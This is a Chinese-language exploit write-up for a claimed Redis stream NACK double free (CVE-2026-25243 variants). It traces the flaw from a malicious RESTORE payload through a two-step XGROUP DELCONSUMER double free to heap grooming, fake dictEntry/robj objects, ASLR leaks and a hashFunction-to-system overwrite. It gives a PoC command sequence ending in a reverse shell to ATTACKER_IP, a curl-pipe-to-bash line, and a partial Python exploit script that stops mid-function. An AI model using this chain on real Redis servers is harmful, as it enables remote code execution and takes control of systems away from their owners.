目录


1. 漏洞概述

CVE-2026-25243 系列变体是 2026 年披露的 Redis 核心 stream 模块中的一组高危漏洞。该系列变体绕过了早期针对 stream 内存安全问题的补丁,根因埋伏在 RDB 反序列化路径中:当两个消费者在待处理列表(Pending Entry List, PEL)中共享同一条 rawid 时,反序列化代码会为两边都设置 nack->consumer 却不做去重,导致一个 streamNACK 结构被两个消费者共用。攻击者通过两次 XGROUP DELCONSUMER 释放同一个 streamNACK,在 jemalloc 的 tcache bin-64 中形成双重释放,进而通过堆风水伪造 dictEntry 与 robj,最终劫持 dictType.hashFunction 函数指针为 system,实现以 Redis 运行用户身份执行任意命令的 RCE。

项目 详情
CVE 编号 CVE-2026-25243(系列变体)
CVSS v3.1 7.5 ~ 8.8(High)
漏洞类型 双重释放(Double Free)→ 任意读写 → RCE
攻击复杂度 低
用户交互 无需用户交互
攻击前置 目标 Redis 可达,且能执行 EVAL/RESTORE/XGROUP 等命令(带密码亦可)
公开利用 已有公开利用代码流传
受影响版本 Redis 6.2.22(已验证)、7.4.9(已验证)、8.6.4(已验证)
不受影响版本 Redis 8.8.0 及以上(PR #15081 重构修复)

核心危险性:该漏洞的攻击复杂度低、无需用户交互,且攻击者只需要具备执行 RESTORE 与 XGROUP 系列命令的能力即可触发。这意味着任何暴露在网络中、且未对高危命令做 ACL 收敛的 Redis 实例都可能被攻陷。从被释放两次的堆内存出发,攻击者可以拼出任意读写原语,最终把命令执行塞进 Redis 运行用户的进程里,完成从"内存破坏"到"完整 RCE"的跃迁。


2. Redis Stream 数据结构深度解析

要理解这个漏洞,必须先深入 Redis Stream 的内部数据结构。Stream 是 Redis 5.0 引入的日志型数据结构,其设计融合了 listpack 的高密度存储与 radix tree 的有序索引。

2.1 Stream 的内部存储:listpack + radix tree

Stream 的核心数据结构定义在 src/t_stream.c 与 src/server.h 中:

// src/server.h
typedef struct stream {
    rax *rax;               /* 按消息ID索引的radix tree,叶子节点存listpack */
    uint64_t length;        /* 当前stream中的条目总数 */
    streamID maxDeletedEntryID; /* 已删除条目的最大ID */
    streamID entriesAdded;  /* 历史累计写入条目数 */
    streamID first_id;      /* 第一条条目ID */
    streamID last_id;       /* 最后一条条目ID */
    rax *cgroups;           /* 消费组radix tree,key为组名 */
} stream;

Stream 并非为每条消息单独分配一个节点,而是将多条消息打包进一个 listpack(紧凑连续内存块),再用 radix tree 按消息 ID 的前缀做索引。这种"chunk + radix"的两级结构兼顾了内存密度与查询效率:

stream->rax (radix tree)
 │
 ├── key: <chunk-1 起始ID>  →  value: listpack [msg, msg, msg, ...]
 ├── key: <chunk-2 起始ID>  →  value: listpack [msg, msg, ...]
 └── key: <chunk-3 起始ID>  →  value: listpack [msg, ...]

listpack内部布局 (单个chunk, 默认约2KB):
┌──────────────────────────────────────────────────────────┐
│ total-bytes │ num-elements │ master-id │ flags           │
├──────────────────────────────────────────────────────────┤
│ entry: count-diff │ ms-diff │ seq-diff │ fields...       │
│ entry: count-diff │ ms-diff │ seq-diff │ fields...       │
│ entry: ...                                              │
├──────────────────────────────────────────────────────────┤
│ listpack-end-byte (0xFF)                                 │
└──────────────────────────────────────────────────────────┘

每个 listpack 节点存储的 entry 采用增量编码(count-diff / ms-diff / seq-diff),相对于 chunk 的 master-id 计算偏移,从而把变长整数压缩到最小。当 listpack 写满(达到 stream-node-max-bytes,默认 4096)时,Redis 会新建一个 listpack 并在 radix tree 中插入新的索引节点。

2.2 消费组与 PEL(Pending Entry List)机制

消费组(Consumer Group)是 Stream 之上的消费抽象。一个组内的多个消费者共享读取位置,但每条消息在被确认(XACK)之前,会停留在 PEL 中,记录"谁读了、读了多久、投递了几次"。

// src/server.h
typedef struct streamCG {
    streamID last_id;       /* 该组最后投递的ID */
    rax *pel;               /* 组级PEL: key=entry-id, value=streamNACK* */
    rax *consumers;         /* 消费者rax: key=消费者名, value=streamConsumer* */
} streamCG;

typedef struct streamConsumer {
    mstime_t seen_time;     /* 最后活跃时间 */
    mstime_t active_time;   /* 最后活跃时间(更精确) */
    sds name;               /* 消费者名称 */
    rax *pel;               /* 消费者级PEL: key=entry-id, value=streamNACK* */
} streamConsumer;

关键点在于:组级 PEL 和消费者级 PEL 是两棵独立的 radix tree,但它们存储的 value 指针指向同一个 streamNACK 对象。这是 Redis 的刻意设计——组级 PEL 用于回答"哪些消息未被确认",消费者级 PEL 用于回答"这个消费者持有哪些未确认消息",两者必须共享同一份 NACK 状态,以保证投递计数、投递时间的一致性。

                         streamNACK (单一对象)
                        ┌──────────────────────┐
                        │ delivery_time        │
                        │ delivery_count       │
                        │ *consumer ───────────┼──→ streamConsumer
                        └─────────▲────────────┘
                                  │ 共享同一指针
              ┌───────────────────┼───────────────────┐
              │                                        │
   streamCG->pel (组级)                  streamConsumer->pel (消费者级)
   rax: {rawid → nack*}                  rax: {rawid → nack*}

2.3 streamNACK 结构体的内存布局

streamNACK 是 PEL 中的核心结构,记录一条待确认消息的投递元数据:

// src/server.h
typedef struct streamNACK {
    mstime_t delivery_time;     /* 最后投递时间(毫秒) */
    uint64_t delivery_count;    /* 投递次数 */
    streamConsumer *consumer;   /* 持有该条目的消费者指针 */
} streamNACK;

在 64 位系统下,streamNACK 本体仅 24 字节。但在 Redis 的实现中,NACK 是作为 rax 节点的 data 域分配的,rax 节点本身带有键、子节点指针等头部开销,加之 jemalloc 的 size class 对齐,整个分配最终落在 64 字节的 tcache bin 中。这正是后续利用链的核心目标 chunk。

下面是落入 bin-64 的 NACK 相关分配的内存布局示意(含 rax 节点开销与填充):

 jemalloc bin-64 chunk (64 bytes)
┌────────────────────────────────────────────────────────────────┐
│ offset 0x00 │ rax node 头部 (iskey/iscompr/size 等标记位)        │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x08 │ rax 节点 key 数据 / 子节点指针区域                 │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x20 │ streamNACK.delivery_time   (mstime_t, 8 bytes)   │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x28 │ streamNACK.delivery_count (uint64_t, 8 bytes)    │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x30 │ streamNACK.consumer       (pointer, 8 bytes)  ★  │
├─────────────┼──────────────────────────────────────────────────┤
│ offset 0x38 │ 填充 (padding to 64-byte boundary)                │
└────────────────────────────────────────────────────────────────┘
                                     ★ 该指针是利用链篡改的关键字段

consumer 指针位于偏移 0x30,是后续伪造时被攻击者重点操纵的字段——通过控制这块内存,攻击者可以让 consumer 指向一个伪造的 streamConsumer,进而牵引出更广泛的类型混淆。


3. 漏洞根因分析:RDB 反序列化路径审计

漏洞的触发入口是 RESTORE 命令加载一个 stream 类型的 RDB 序列化数据。RESTORE 会调用 rdb.c 中的反序列化路径,把二进制 blob 还原成内存中的 stream 对象。

3.1 RDB 中 stream 的存储格式

一个 stream 在 RDB 中按以下顺序存储:

RDB stream 序列化格式:
┌─────────────────────────────────────────────────────────────────┐
│ 1. stream 元数据                                                │
│    length, last_id(ms+seq), first_id, max_deleted_id,           │
│    entries_added                                                │
├─────────────────────────────────────────────────────────────────┤
│ 2. listpack 数据 (rax tree 的叶子节点)                           │
│    for each listpack chunk:                                     │
│        key(起始ID) + listpack 二进制内容                         │
├─────────────────────────────────────────────────────────────────┤
│ 3. 消费组数量 (N)                                               │
│    for i in 0..N:                                               │
│      a. 组名 (sds)                                              │
│      b. 组 last_id                                              │
│      c. 组级 PEL:                                               │
│         - PEL 条目数 (M)                                        │
│         - for j in 0..M:                                        │
│             rawid(8B) + delivery_time(8B) + delivery_count(8B)  │
│             → 为每条创建 streamNACK, 插入 group->pel            │
│      d. 消费者数量 (K)                                          │
│         - for k in 0..K:                                        │
│             消费者名 + seen_time + active_time                  │
│             消费者级 PEL 条目数 (L)                              │
│             for l in 0..L:                                      │
│                 rawid(8B)                                       │
│                 → 在 group->pel 中查找该 rawid 的 nack          │
│                 → 设置 nack->consumer = consumer  ★缺陷点      │
│                 → 将 nack 插入 consumer->pel                    │
└─────────────────────────────────────────────────────────────────┘

3.2 反序列化代码审计

在 rdb.c 的 stream 加载函数中(不同版本函数名略有差异,核心逻辑一致),组级 PEL 与消费者级 PEL 的加载是分两个阶段进行的。下面是关键逻辑的伪代码化呈现:

// rdb.c — stream 消费组加载(伪代码,聚焦缺陷路径)
int rdbLoadStreamConsumerGroups(stream *s, rdb *rdb) {
    uint64_t ngroups;
    rdbLoadLen(rdb, &ngroups);          // 读取消费组数量

    while (ngroups--) {
        /* 读取组名、last_id,创建 streamCG */
        sds groupname = rdbGenericLoadStringObject(rdb);
        streamCG *cg = streamCreateCG(s, groupname, ...);

        /* ---- 阶段1: 加载组级 PEL ---- */
        uint64_t pel_len;
        rdbLoadLen(rdb, &pel_len);
        for (uint64_t j = 0; j < pel_len; j++) {
            streamID id;
            rdbLoadLen(rdb, &id.ms); rdbLoadLen(rdb, &id.seq); // rawid
            streamNACK *nack = zmalloc(sizeof(streamNACK));     // 分配 NACK
            rdbLoadLen(rdb, &nack->delivery_time);
            rdbLoadLen(rdb, &nack->delivery_count);
            nack->consumer = NULL;                              // 暂未关联消费者
            raxInsert(cg->pel, rawid_key, nack, NULL);          // 插入组级 PEL
        }

        /* ---- 阶段2: 加载消费者及其 PEL ---- */
        uint64_t nconsumers;
        rdbLoadLen(rdb, &nconsumers);
        for (uint64_t k = 0; k < nconsumers; k++) {
            sds cname = rdbGenericLoadStringObject(rdb);
            streamConsumer *consumer = streamCreateConsumer(...);
            uint64_t cpel_len;
            rdbLoadLen(rdb, &cpel_len);
            for (uint64_t l = 0; l < cpel_len; l++) {
                streamID id;
                rdbLoadLen(rdb, &id.ms); rdbLoadLen(rdb, &id.seq); // rawid
                /* 在组级 PEL 中查找该 rawid 对应的 nack */
                streamNACK *nack = raxFind(cg->pel, rawid_key);
                if (nack == raxNotFound) continue;   // 严谨实现会跳过
                /* ★ 缺陷:直接赋值,不做去重检查 ★ */
                nack->consumer = consumer;            // 覆盖式赋值
                raxInsert(consumer->pel, rawid_key, nack, NULL); // 插入消费者PEL
            }
        }
    }
    return C_OK;
}

3.3 为什么两个消费者共享同一条 rawid 时没有去重

注意阶段 2 中标注的缺陷点。正常的 RDB 数据由 Redis 自身序列化产生,每条 rawid 只会出现在一个消费者的 PEL 中,因此 nack->consumer = consumer 是安全的——每个 NACK 只被一个消费者引用。

然而 RESTORE 接受的是攻击者完全可控的二进制 blob。攻击者可以手工构造一个 RDB payload,让同一条 rawid 同时出现在消费者 A 和消费者 B 的消费者级 PEL 中。反序列化代码在处理消费者 B 时,会再次执行:

nack->consumer = consumer_B;   // 同一个 nack,consumer 指针被改写为 B
raxInsert(consumer_B->pel, rawid_key, nack, NULL); // 同一个 nack 插入 B 的 PEL

此时,消费者 A 的 PEL 和消费者 B 的 PEL 中,同一个 rawid 槽位都指向同一个 streamNACK 对象。代码没有检查"这个 NACK 是否已经被别的消费者引用",也没有在消费者级 PEL 插入时做去重。这就是 CVE-2026-25243 系列变体绕过原补丁的核心所在——原补丁可能在组级 PEL 加载时做了某些校验,但消费者级 PEL 的关联路径仍然信任了输入数据的"单消费者归属"假设。

PR #15081 的修复方式是对消费组/NACK 的存储模型做了重构,使 NACK 与消费者的归属关系在数据结构层面唯一化,从根上消除了"一个 NACK 被多个消费者共用"的可能。


4. 双重释放的形成机制

4.1 DELCONSUMER 的释放路径

XGROUP DELCONSUMER 命令会删除一个消费者,并释放其 PEL 中所有 NACK。关键代码路径(t_stream.c):

// t_stream.c — 删除消费者(伪代码)
void streamDelConsumer(streamCG *cg, streamConsumer *consumer) {
    raxIterator ri;
    raxStart(&ri, consumer->pel);
    raxSeek(&ri, "^", NULL, 0);
    while (raxNext(&ri)) {
        streamNACK *nack = ri.data;
        /* 从组级 PEL 中删除该 rawid 的 NACK */
        raxRemove(cg->pel, ri.key, NULL);
        /* 释放 NACK 对象 */
        zfree(nack);                         // ★ 第一次释放
    }
    raxStop(&ri);
    /* 释放消费者自身的 PEL rax tree 与消费者结构 */
    raxFree(consumer->pel);
    raxRemove(cg->consumers, consumer->name, NULL);
    zfree(consumer);
}

当消费者 A 和消费者 B 共享同一个 NACK 时:

  1. XGROUP DELCONSUMER <group> A:遍历 A 的 PEL,找到共享 NACK,raxRemove(cg->pel, ...) 从组级 PEL 移除,zfree(nack) 第一次释放。但 B 的消费者级 PEL 仍然持有指向这块已释放内存的指针——悬空指针(dangling pointer)。
  2. XGROUP DELCONSUMER <group> B:遍历 B 的 PEL,同样找到这个 rawid 对应的 nack(此时是悬空指针)。代码再次执行 zfree(nack)——第二次释放同一块内存。注意此时 raxRemove(cg->pel, ...) 可能因组级 PEL 已无该条目而空操作,但 zfree(nack) 仍会执行,双重释放成型。

4.2 堆内存状态变化

下面用 ASCII 图展示从正常状态到双重释放再到 tcache 复用的完整堆状态演化:

【初始状态】共享 NACK 已创建,A、B 的消费者级 PEL 均指向它

  group->pel (rax)                consumer_A->pel            consumer_B->pel
  ┌──────────────┐                ┌──────────────┐          ┌──────────────┐
  │ rawid → ─┐   │                │ rawid → ─┐   │          │ rawid → ─┐   │
  └──────────┼───┘                └──────────┼───┘          └──────────┼───┘
             │                               │                         │
             └──────────┐    ┌───────────────┘                         │
                        ▼    ▼                                          │
                  ┌─────────────────┐  ←────────────────────────────────┘
                  │  streamNACK     │  (bin-64 chunk, 已分配, ref=2)
                  │  delivery_time  │
                  │  delivery_count │
                  │  consumer → A   │
                  └─────────────────┘

【步骤1】XGROUP DELCONSUMER A  →  zfree(nack) 第一次释放

  consumer_A->pel 已释放         group->pel 已移除 rawid     consumer_B->pel
                                                                ┌──────────────┐
                                                                │ rawid → ─┐   │
                                                                └──────────┼───┘
                                                                           │
  jemalloc tcache bin-64:                                              ┌────┘
  [freed] ← nack ──┐                                                   ▼
                   │      ┌─────────────────┐  ← 悬空指针(仍可解引用)
                   └─────►│  (已释放内存)    │
                          │  streamNACK     │
                          └─────────────────┘
  ★ consumer_B->pel 仍指向已释放 chunk = dangling pointer

【步骤2】XGROUP DELCONSUMER B  →  zfree(nack) 第二次释放同一 chunk

  jemalloc tcache bin-64:
  [freed] ← nack ──┐
                   │
                   ▼
              ┌─────────┐    ← 同一 chunk 第二次进入 freelist
              │ chunk   │ ──► (tcache 链表中同一地址出现两次!)
              └─────────┘
                   ▲
              [freed] ← nack (第一次释放时入链的引用)

  ★ bin-64 freelist 现在含有同一个 chunk 地址两次
  ★ 接下来两次 bin-64 分配将返回同一块内存 → 类型混淆原语

5. 利用链构造:从双重释放到任意读写

双重释放本身只是起点。真正的利用需要把"同一块内存被分配两次"转化为"可控的任意读写",最终劫持控制流。

5.1 jemalloc tcache bin-64 的工作原理

Redis 默认使用 jemalloc 作为内存分配器。jemalloc 采用线程缓存(tcache)分层分配:小内存优先从当前线程的 tcache bin 中取,每个 size class 对应一个 bin。bin-64 服务于请求大小落在 (48, 64] 字节区间的分配。

tcache bin 本质是一个单链表(LIFO 栈),每个空闲 chunk 的首 8 字节作为 next 指针串成链:

tcache bin-64 (LIFO 栈式 freelist)
   head ──► [chunk_X | next→chunk_Y] ──► [chunk_Y | next→NULL]
                                          (正常: 每个chunk出现一次)

双重释放后:
   head ──► [chunk_S | next→chunk_S] ──► [chunk_S | next→...]  ★环/重复
                   ▲                        ▲
                   └──── 同一地址 ───────────┘

当攻击者连续发起两次 bin-64 大小的分配时,jemalloc 会从 head 弹出同一个 chunk_S 两次:

分配1: malloc(64) → 返回 chunk_S  (从head弹出, head←chunk_S的next, 但next也指向chunk_S)
分配2: malloc(64) → 返回 chunk_S  (再次弹出同一地址)

于是攻击者同时持有两个指向 chunk_S 的引用(例如一个是某个 rax 节点的 data,另一个是某个 dictEntry)。向其中一个引用写入数据,会即时反映在另一个引用的视角中——这就是类型混淆的根源。

5.2 伪造 dictEntry 和 robj 的内存布局设计

利用两次分配返回同一块内存的特性,攻击者的目标是让这块 64 字节 chunk 同时被解释为两种不同的 Redis 内部对象,从而建立"写一个对象 → 读/控制另一个对象"的环路。

类型混淆环设计:

chunk_S (64 bytes) 同时被两个指针引用:
  引用1: dictEntry *de  (字典条目)
  引用2: robj *o        (Redis对象)

 ┌──────────────────────────────────────────────────────────────┐
 │ chunk_S                                                       │
 ├──────────┬───────────────────────────────────────────────────┤
 │ off 0x00 │ 当作 dictEntry:                                    │
 │          │   de->key (sds指针)      ← 攻击者可写(通过robj写)  │
 │ off 0x08 │   de->v.val (robj指针)                             │
 │ off 0x10 │   de->next (链表next)                              │
 │ off 0x18 │   (padding)                                        │
 ├──────────┼───────────────────────────────────────────────────┤
 │ off 0x00 │ 当作 robj:                                         │
 │          │   o->refcount (4B) | o->type (4B)                  │
 │ off 0x08 │   o->encoding                                      │
 │ off 0x10 │   o->lru                                           │
 │ off 0x18 │   o->ptr (数据指针)       ← 攻击者可写(通过dict写) │
 └──────────┴───────────────────────────────────────────────────┘
  • 通过 dictEntry 视角写入 de->key(off 0x00),会同时改写 robj 视角的 o->refcount/o->type。
  • 通过 robj 视角写入 o->ptr(off 0x18),会同时改写 dictEntry 视角填充区。

更关键的玩法是:把 chunk_S 伪造成一个 dictEntry,其 de->v.val(off 0x08)指向另一个攻击者控制的 chunk_S',而 chunk_S' 被当作 robj,其 o->ptr 指向任意目标地址。这样攻击者通过 GET/SET 这个伪 dictEntry 对应的 key,就能读写 o->ptr 指向的任意内存——任意读写原语建立。

完整的伪造链条:

攻击者控制字典DB中某个key对应的dictEntry指向chunk_S(伪造)
   │
   ▼
chunk_S 作为 dictEntry:
   de->key     = 伪sds(指向某可控字符串)
   de->v.val   = chunk_S' (伪robj)
   de->next    = NULL
   │
   ▼
chunk_S' 作为 robj:
   o->refcount = 1
   o->type     = OBJ_STRING
   o->encoding = OBJ_ENCODING_RAW
   o->ptr      = ★ 任意目标地址 ★
   │
   ▼
攻击者执行 GET <该key>:
   Redis 取出 dictEntry → 取 val(robj) → 按 OBJ_STRING 解读 o->ptr
   → 把目标地址处的内存当作字符串返回给攻击者  ★ 任意读

攻击者执行 SET <该key> <payload>:
   Redis 把 payload 写入 o->ptr 指向的地址  ★ 任意写

5.3 Lua 闭包泄露 PIE 基址

有了任意读,下一步是泄露内存布局以绕过 ASLR。攻击者需要获得 Redis 二进制(PIE)基址、libc 基址等。

Redis 内嵌了 Lua 解释器(src/scripting.c)。Lua 的闭包对象在堆上分配,其内部包含指向 Lua 虚拟机状态与 Redis 二进制内函数的指针。通过 EVAL 创建一个 Lua 闭包,并利用 tostring / string.format 将其内部指针以字符串形式导出,可以泄露一个落在 Redis PIE 段内的地址。

-- 通过 EVAL 执行,泄露 Lua 闭包内部指针
-- tostring(function) 在某些 Redis Lua 配置下会返回 "function: 0x<addr>"
EVAL "return tostring(function() end)" 0

更可靠的方式是利用 string.format 配合 cjson 序列化闭包元表,或利用 debug.getinfo 获取函数信息中的地址。设泄露到的 PIE 段地址为 leaked_addr,结合 Redis 二进制中已知符号的相对偏移(可通过对应版本的 ELF 文件计算),即可还原 PIE 基址:

PIE_base = leaked_addr - (已知符号在ELF中的相对偏移)

5.4 泄露 libc 基址与 db 结构

得到 PIE 基址后,攻击者利用任意读原语读取 Redis 进程的 GOT 表槽位。Redis 的 GOT 表中存有已解析的 libc 函数地址(如 free, malloc, system 等):

GOT表 (位于Redis二进制可写段, PIE_base + GOT_offset):
┌──────────────────────────────────────┐
│ GOT[free]    → libc中free地址         │  ← 任意读此处
│ GOT[malloc]  → libc中malloc地址       │
│ GOT[system]  → libc中system地址       │  ← 目标
└──────────────────────────────────────┘

libc_base = GOT[free] - (free在libc中的偏移)
system_addr = libc_base + (system在libc中的偏移)

同时,Redis 的全局 server 结构体(struct redisServer server)也位于 PIE 段。server.db 数组指向各数据库的 redisDb 结构,其中 db->dict 是主字典、db->dict->type 指向 dictType(含函数指针表)。攻击者通过任意读 server.db[0].dict->type 获取 dictType 的地址——这是下一步劫持的目标。

5.5 GOT 表覆盖与 hashFunction 劫持

Redis 的 dict 结构通过 dictType 间接调用一组函数指针:

// src/dict.h
typedef struct dictType {
    uint64_t (*hashFunction)(const void *key);   // ★ 哈希函数, 接收key指针
    int (*keyCompare)(...) ;
    void (*keyDestructor)(...);
    void (*valDestructor)(...);
    int (*keyDup)(...);
    int (*valDup)(...);
} dictType;

// src/dict.c — 查找时调用
dictEntry *dictFind(dict *d, const void *key) {
    if (dictSize(d) == 0) return NULL;
    unsigned long h = dictHashKey(d, key);   // ← 调用 type->hashFunction(key)
    // ...
}

hashFunction 接收的 key 参数正是字典键的 sds 字符串指针。sds 字符串是以 \0 结尾的。如果把 hashFunction 替换为 system,那么 dictFind 触发时就会执行 system((char*)key)——即把 key 字符串当作 shell 命令执行。

攻击者有两种覆盖路径:

  • 路径 A(GOT 覆盖):用任意写把 Redis GOT 表中某个会被 dict 调用的函数槽位改写为 system。
  • 路径 B(dictType 劫持,更直接):用任意写把 server.db[0].dict->type->hashFunction 字段直接覆盖为 system 地址。

路径 B 更精准。攻击流程:

1. 任意读 server (PIE_base + server_offset) → 得到 db 指针
2. 任意读 db[0]->dict → 得到 dict 结构
3. 任意读 dict->type → 得到 dictType 指针
4. 任意写 dictType->hashFunction = system_addr   ★ 关键覆盖
5. 触发: EXISTS "id;bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
        → dictFind 调用 system("id;bash -i >& ...")  ★ RCE

注意:hashFunction 的真实签名是 uint64_t (*)(const void *key),而 system 是 int (*)(const char *)。两者参数都是单个指针、调用约定一致(System V AMD64 下均通过 rdi 传参),因此直接覆盖即可生效,system 的返回值被忽略,不影响后续逻辑崩溃风险(可选用一次性触发命令)。


6. 完整 PoC:Redis 命令序列

下面给出端到端的 Redis 命令序列 PoC。前置条件:目标 Redis 可达,攻击者持有可执行 EVAL/RESTORE/XGROUP 的会话(带密码亦可通过 AUTH 解决)。

# ============ 步骤1: 构造恶意 stream RDB payload ============
# payload 由攻击者离线生成(见Python脚本), 内含:
#   - 一个stream, 含若干条目
#   - 一个消费组 "evilgrp"
#   - 两个消费者 "A" 和 "B", 二者的消费者级PEL都引用同一条rawid
# 此处 RESTORE 载入该 payload 到 key "mystream"
# (payload 为二进制, 以 <BINARY PAYLOAD> 占位)

RESTORE mystream 0 <BINARY PAYLOAD> REPLACE

# ============ 步骤2: 触发双重释放 ============
# 删除消费者A: 第一次释放共享NACK
XGROUP DELCONSUMER evilgrp A
# (此时B的PEL持有悬空指针)

# 删除消费者B: 第二次释放同一NACK → double free 成型
XGROUP DELCONSUMER evilgrp B

# ============ 步骤3: 堆风水 — 占用 bin-64 复用chunk ============
# 通过连续创建合适大小的key/value, 触发两次bin-64分配
# 让其中一次分配"接住"被double-free的chunk
SET spray1 <64字节可控数据>
SET spray2 <64字节可控数据>   # 与spray1拿到的可能是同一块 → 类型混淆

# ============ 步骤4: 泄露 PIE 基址 ============
# 利用Lua闭包泄露PIE段地址
EVAL "return tostring(function() end)" 0
# 返回类似: "function: 0x7f8a12345678" → 计算 PIE_base

# ============ 步骤5: 任意读 GOT, 推导 libc 与 dictType ============
# 利用任意读原语(伪dictEntry+伪robj)读取GOT[free]等槽位
# 读 server.db[0].dict->type 获取 dictType 地址

# ============ 步骤6: 覆盖 hashFunction = system ============
# 利用任意写原语, 把 dictType->hashFunction 改写为 system 地址

# ============ 步骤7: 触发 RCE ============
# 执行一次字典查找, key字符串即shell命令
# EXISTS "id > /tmp/pwned; curl http://ATTACKER/x.sh|bash"
#   → dictFind → hashFunction(key) → system("id > /tmp/pwned; ...") → RCE
EXISTS "id > /tmp/pwned; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

7. Python 利用脚本框架

下面是基于 redis-py 的利用脚本框架。脚本分为恶意 RDB 构造、双重释放触发、堆风水、信息泄露、指针劫持、RCE 触发几个阶段。其中恶意 RDB 的二进制构造是核心,需要严格遵循 Redis RDB 编码格式。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-25243 Redis Stream NACK 双重释放 → RCE 利用框架
仅供授权安全研究使用。请勿对未授权目标运行。
"""

import struct
import socket
import time
from redis import Redis

# ----------------------------------------------------------------------
# 1. 目标配置
# ----------------------------------------------------------------------
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 6379
TARGET_PASS = ""  # 若有密码则填入
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444

r = Redis(host=TARGET_HOST, port=TARGET_PORT, password=TARGET_PASS or None)


# ----------------------------------------------------------------------
# 2. 恶意 stream RDB payload 构造
# ----------------------------------------------------------------------
def encode_length(n):
    """RDB 长度编码 (Length encoding)"""
    if n < 64:
        return struct.pack("B", n)
    elif n < 16384:
        return struct.pack(">H", 0x4000 | n)
    else:
        return struct.pack(">B", 0x80) + struct.pack(">Q", n)


def encode_string(s):
    """RDB 字符串编码"""
    b = s.encode() if isinstance(s, str) else s
    return encode_length(len(b)) + b


def build_stream_rdb_payload():
    """
    构造一个 stream 的 RDB 二进制 payload, 核心要点:
      - 消费组 evilgrp 的组级PEL含一条 rawid=R
      - 消费者 A 的消费者级PEL引用 rawid=R
      - 消费者 B 的消费者级PEL也引用 rawid=R  ← 共享NACK的根因
    返回 RESTORE 可直接使用的二进制.
    """
    payload = bytearray()

    # --- stream 元数据 ---
    payload += encode_length(0)          # length (条目数, 占位)
    payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0)  # last_id
    payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0)  # first_id
    payload += struct.pack(">Q", 0) + struct.pack(">Q", 0)              # max_deleted_id
    payload += struct.pack(">Q", 1)                                     # entries_added

    # --- listpack 数据 (rax 叶子) ---
    # 简化: 插入一个空 listpack 节点 (实际需含条目, 此处示意结构)
    payload += encode_length(1)          # listpack chunk 数量
    # chunk key (起始ID)
    payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0)
    # listpack 二进制 (此处用极简填充, 实际需按 listpack 格式构造)
    lp = bytes([0xFF])  # listpack end marker (示意)
    payload += encode_string(lp)

    # --- 消费组 ---
    payload += encode_length(1)          # 消费组数量 = 1
    payload += encode_string("evilgrp")  # 组名
    payload += struct.pack(">Q", 1700000000000) + struct.pack(">Q", 0)  # 组 last_id

    # 组级 PEL: 1 条, rawid = R
    rawid_ms, rawid_seq = 1700000000000, 1
    payload += encode_length(1)          # PEL 条目数
    payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq)
    payload += struct.pack(">Q", 1700000000000)  # delivery_time
    payload += struct.pack(">Q", 1)              # delivery_count

    # 消费者数量 = 2 (A 和 B)
    payload += encode_length(2)

    # 消费者 A
    payload += encode_string("A")        # 名称
    payload += struct.pack(">Q", 1700000000000)  # seen_time
    payload += struct.pack(">Q", 1700000000000)  # active_time
    payload += encode_length(1)          # A 的 PEL 条目数 = 1
    payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq)  # rawid=R

    # 消费者 B  ★ 关键: B 的 PEL 也引用同一条 rawid=R
    payload += encode_string("B")        # 名称
    payload += struct.pack(">Q", 1700000000000)  # seen_time
    payload += struct.pack(">Q", 1700000000000)  # active_time
    payload += encode_length(1)          # B 的 PEL 条目数 = 1
    payload += struct.pack(">Q", rawid_ms) + struct.pack(">Q", rawid_seq)  # rawid=R ★共享

    # --- 外层 RDB 封装 (RESTORE 需要 type+payload, 此处简化) ---
    # 实际 RESTORE 协议: TYPE(1B=OBJ_STREAM=6) + payload
    rdb_type = struct.pack("B", 0x06)  # RDB_TYPE_STREAM
    return bytes(rdb_type) + bytes(payload)


# ----------------------------------------------------------------------
# 3. 触发双重释放
# ----------------------------------------------------------------------
def trigger_double_free(payload):
    """RESTORE 载入恶意 stream, 再两次 DELCONSUMER 触发 double free"""
    r.delete("mystream")
    # RESTORE 在 redis-py 中通过 execute_command 调用
    r.execute_command("RESTORE", "mystream", 0, payload, "REPLACE")
    print("[*] 恶意 stream 已载入")

    # 第一次释放 (消费者 A)
    res_a = r.execute_command("XGROUP", "DELCONSUMER", "evilgrp", "A")
    print(f"[*] DELCONSUMER A 完成, 释放 NACK 数: {res_a}")

    # 第二次释放 (消费者 B) → double free
    res_b = r.execute_command("XGROUP", "DELCONSUMER", "evilgrp", "B")
    print(f"[*] DELCONSUMER B 完成, 双重释放触发: {res_b}")


# ----------------------------------------------------------------------
# 4. 堆风水 + 信息泄露 + 指针劫持 (示意)
# ----------------------------------------------------------------------
def heap_spray_and_exploit():
    """
    通过精心控制的 SET 操作让两次 bin-64 分配命中同一 chunk,
    建立伪造 dictEntry/robj 的类型混淆环, 实现 任意读/任意写.
    以下为框架逻辑, 具体偏移需根据目标 Redis 版本的 ELF 计算.
    """
    # 4.1 堆风水: 让伪造对象占据被 double-free 的 chunk
    # spray_data 设计为伪 dictEntry 布局
    fake_dictentry = build_fake_dictentry()
    r.set("spray_1", fake_dictentry)
    r.set("spray_2", fake_dictentry)
    print("[*] 堆风水 spray 完成")

    # 4.2 PIE 泄露
    leaked = r.eval("return tostring(function() end)", 0)
    print(f"[*] Lua 闭包泄露: {leaked}")
    pie_leak = int(leaked.split("0x")[1], 16)
    pie_base = pie_leak - 0x1234567  # 偏移需按目标版本 ELF 校准
    print(f"[*] PIE base 推测: {hex(pie_base)}")

    # 4.3 任意读 GOT[free] 推导 libc
    got_free_addr = pie_base + 0x800000  # GOT 偏移需校准
    free_addr = arbitrary_read(got_free_addr)
    libc_base = free_addr - 0x180000     # libc 偏移需校准
    system_addr = libc_base + 0x55410    # system 偏移需校准
    print(f"[*] libc base: {hex(libc_base)}")
    print(f"[*] system addr: {hex(system_addr)}")

    # 4.4 定位 dictType 并覆盖 hashFunction
    server_addr = pie_base + 0x900000
    db_ptr = arbitrary_read(server_addr + 0x10)
